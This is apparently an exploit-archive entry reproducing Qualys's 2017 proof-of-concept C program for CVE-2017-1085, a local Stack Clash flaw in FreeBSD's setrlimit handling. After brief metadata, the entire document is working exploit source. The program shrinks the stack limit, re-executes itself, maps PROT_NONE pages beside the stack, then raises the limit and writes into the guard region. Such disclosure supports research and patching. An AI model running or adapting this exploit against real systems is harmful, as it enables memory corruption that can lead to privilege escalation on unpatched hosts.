FreeBSD 'setrlimit' Stack Clash Proof of Concept

Published
Credit
Risk
2017.06.29
Qualys
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-1085
Yes
No

/*
* FreeBSD_CVE-2017-1085.c
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <unistd.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

struct rlimit stack;
if (getrlimit(RLIMIT_STACK, &stack)) die();
if (stack.rlim_cur > stack.rlim_max / 3) {
stack.rlim_cur = stack.rlim_max / 3;
if (setrlimit(RLIMIT_STACK, &stack)) die();
execve(*argv, argv, NULL);
die();
}
char * prot_none = NULL;
for (;;) {
prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (prot_none == MAP_FAILED) die();
if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
}
if (argc > 1) {
stack.rlim_cur = stack.rlim_max;
if (setrlimit(RLIMIT_STACK, &stack)) die();
}
*prot_none = 'A';
printf("char at %p: %02x\n", prot_none, *prot_none);
exit(EXIT_SUCCESS);
}


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